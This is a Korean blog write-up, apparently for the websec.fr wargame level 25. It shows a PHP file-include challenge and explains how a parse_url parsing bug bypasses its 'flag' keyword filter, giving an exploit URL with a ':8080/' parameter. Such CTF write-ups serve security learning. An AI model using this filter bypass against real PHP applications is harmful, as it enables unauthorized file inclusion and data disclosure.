문제에 들어가보면 소스코드를 제공해주는데 아래와 같다.


<?php

parse_str(parse_url($_SERVER['REQUEST_URI'])['query'], $query);

foreach ($query as $k => $v) {

if (stripos($v, 'flag') !== false)

die('You are not allowed to get the flag, sorry :/');

}

include $_GET['page'] . '.txt';

?>


코드를 보면 parse_url,paser_str을 통해 쿼리 영역을 배열로 만든 뒤 파라미터 값에 flag가 있는지 검증한다.


일반적인 방법으로는 flag를 입력할 수 없지만 parse_url 버그를 이용하면 정상적인 배열 값을 만들지 못하게 해 우회가 가능하다.


paser_url에 인풋으로 들어가는 값을 ///데이터 요런식으로 넣게 되면 아래와 같이 //가 http://와 같은역할을 하고 3번쨰 /가 path구분자 역할을 하면서 중간에 존재해야 할 host값이 존재하지 않아 에러가 터져 정상적인 값을 반환하지 못하도록 할 수 있다.


요 원리를 사용해서 아래와 같이 공격해주면 플래그 파일을 include 시킬 수 있다.



추가로 이 방법 외에도 아래와 같은 구문 또한 parse_url에서 에러를 터트려 exploit이 가능하다.


//level25/index.php?page=flag&a=:8080/&send=%EC%A0%9C%EC%B6%9C



'Wargame > websec.fr' 카테고리의 다른 글

websec.fr easy level20  (0) 2019.08.22
Websec.fr babysteps Level28  (0) 2018.12.13
Websec.kr easy level 15  (0) 2018.03.08
Websec.fr easy level 11  (0) 2018.03.08
Websec.fr easy level10  (0) 2018.03.08
블로그 이미지

JeonYoungSin

메모 기록용 공간

,